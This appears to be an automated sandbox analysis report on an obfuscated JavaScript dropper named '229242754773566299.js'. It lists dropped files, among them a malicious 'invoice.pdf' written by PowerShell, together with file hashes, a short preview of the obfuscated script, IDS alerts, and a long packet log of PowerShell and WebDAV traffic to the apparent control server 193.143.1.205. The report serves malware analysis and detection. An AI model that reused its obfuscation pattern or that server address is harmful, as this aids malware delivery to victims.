r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16487), with CRLF line terminators
Entropy (8bit):	4.923516741278005
TrID:
File name:	229242754773566299.js
File size:	20'032 bytes
MD5:	a5c939cf41197cd267b01ed281a35eaf
SHA1:	71f37cde722d09b4bacc5bdc8a2d74a5bb86007b
SHA256:	da327c3e3a1c16b2d7469a703fb4039929ad5550905855f9e4a8b4c8312a02a6
SHA512:	6ae4170b759bf307b6edc0dff641e5b93004e4012a45941998fc333e25c60a36712eb4b763509817e2670f6ad157a76e8f85e320030bf125bc8b8cbfd34a2fce
SSDEEP:	384:OTFrFL0FLcyFLAZZTL8Ag3ADJBUOvUz3AZ/WNrC6lIJoELrlMuL4XVL6FFpzRsGy:OTRFL0FLcyFLAZZTL8F3ADJBUOvUz3Ak
TLSH:	0B92DAA6A0D3D36745E052F4DA8740DC20A4364B00DD62DB29E368FC4956FF2F4EA776
File Content Preview:	function xcnwo(){iaylxqjpi=[1031,3079,5127,4103,2055,3072];var jkhlibj=this[xjcuy+dupxnalve+tspeurk+jzfhoifm+izdrmsm+htvnqp+guvwmp+iufibnqn](this[yzfdlf+vgglgnxjv+cnmjza+tspeurk+rvvjurhc+xjcuy+iufibnqn][eifsfoser+tspeurk+izdrmsm+dupxnalve+iufibnqn+izdrmsm

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:14:44.736777+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49773	193.143.1.205	80	TCP
2025-01-10T18:14:47.438958+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49784	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:14:43.922497034 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:43.930226088 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:43.930741072 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:43.933809042 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:43.940093994 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.736666918 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.736711979 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.736723900 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.736737013 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.736751080 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.736764908 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.736778021 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.736777067 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.736793041 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.736805916 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.736819983 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.736829042 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.736849070 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.736862898 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.791465998 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.791484118 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.791587114 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.900173903 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.900222063 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.900260925 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.900307894 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.900325060 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.900362968 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.900373936 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.900398970 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.900434017 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.900454998 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.900758982 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.900830984 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.900839090 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.901196003 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.901230097 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.901233912 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.901268005 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.901300907 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.901312113 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.901336908 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.901381016 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.902029037 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.902064085 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.902098894 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.902106047 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.902132034 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.902172089 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.902179956 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.902916908 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.902951956 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.902961016 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.902988911 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.903058052 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.905312061 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.923657894 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.923759937 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.965327024 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.965380907 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.965428114 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:44.989118099 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.989152908 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:44.989222050 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.021545887 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.021586895 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.021603107 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.021621943 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.021641016 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.021673918 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.021722078 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.021776915 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.021802902 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.021820068 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.021821022 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.021840096 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.021857023 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.021861076 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.021895885 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.022465944 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.022483110 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.022514105 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.022517920 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.022537947 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.022556067 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.022571087 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.022578955 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.022589922 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.022612095 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.023245096 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.023277044 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.023289919 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.023296118 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.023324013 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.023330927 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.023351908 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.023370028 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.023394108 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.023947001 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.023981094 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.023988962 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.024002075 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.024038076 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.024084091 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.024100065 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.024120092 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.024137020 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.024137974 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.024178982 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.024820089 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.024848938 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.024866104 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.024887085 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.024921894 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.024938107 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.024956942 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.024966002 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.024975061 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.024991989 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.025691032 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.025719881 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.025733948 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.025742054 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.025772095 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.025779963 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.025789976 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.025808096 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.025829077 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.025832891 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.025868893 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.077800989 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.086364985 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.086419106 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.086429119 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.086466074 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.086503983 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.086513996 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.110313892 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.110337973 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.110387087 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.142842054 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.142888069 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.142946005 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.142982006 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.142985106 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.143017054 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143023968 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.143058062 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143093109 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143095016 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.143212080 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143243074 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143255949 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.143276930 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143321991 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.143345118 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143407106 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143445969 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143450975 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.143593073 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143635988 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.143646002 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143697023 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143726110 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143737078 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.143762112 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143800020 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143805981 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.143832922 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143868923 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143872976 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.143903017 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143937111 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.143940926 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.143975973 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.144015074 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.144133091 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.144184113 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.144217968 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.144223928 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.144252062 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.144292116 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.144304037 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.144337893 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.144372940 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.144377947 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.144407034 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.144442081 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.144445896 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.144476891 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.144511938 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.144515038 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.144548893 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.144584894 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.144588947 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.145095110 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.145138979 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.145145893 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.145198107 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.145231009 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.145235062 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.145283937 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.145317078 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.145322084 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.145351887 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.145385981 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.145395994 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.145421982 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.145456076 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.145461082 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.145490885 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.145524979 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.145529985 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.145565033 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.145606041 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.146037102 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.146089077 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.146125078 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.146131039 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.146157980 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.146193027 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.146199942 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.146256924 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.146291018 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.146296978 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.146323919 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.146365881 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.146380901 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.146401882 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.146437883 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.146450043 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.146471977 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.146507978 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.146507978 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.146965981 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.147008896 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.147017956 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.147070885 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.147104025 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.147105932 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.147140980 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.147173882 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.147177935 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.147209883 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.147245884 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.147247076 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.166431904 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.166449070 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.166465044 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.166477919 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.166481018 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.166510105 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.174993038 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.175036907 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.175044060 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.175049067 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.175062895 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.175077915 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.175084114 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.175092936 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.175116062 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.175172091 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.175183058 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.175204039 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.175210953 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.175215006 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.175242901 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.199135065 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.199155092 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.199170113 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.199183941 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.199230909 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.231560946 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.231575966 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.231590986 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.231611013 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.231631994 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.231641054 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.231643915 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.231658936 CET	80	49773	193.143.1.205	192.168.2.5
Jan 10, 2025 18:14:45.231667042 CET	49773	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:14:45.231683016 CET	49773	80	192.168.2.5	193.143.1.205
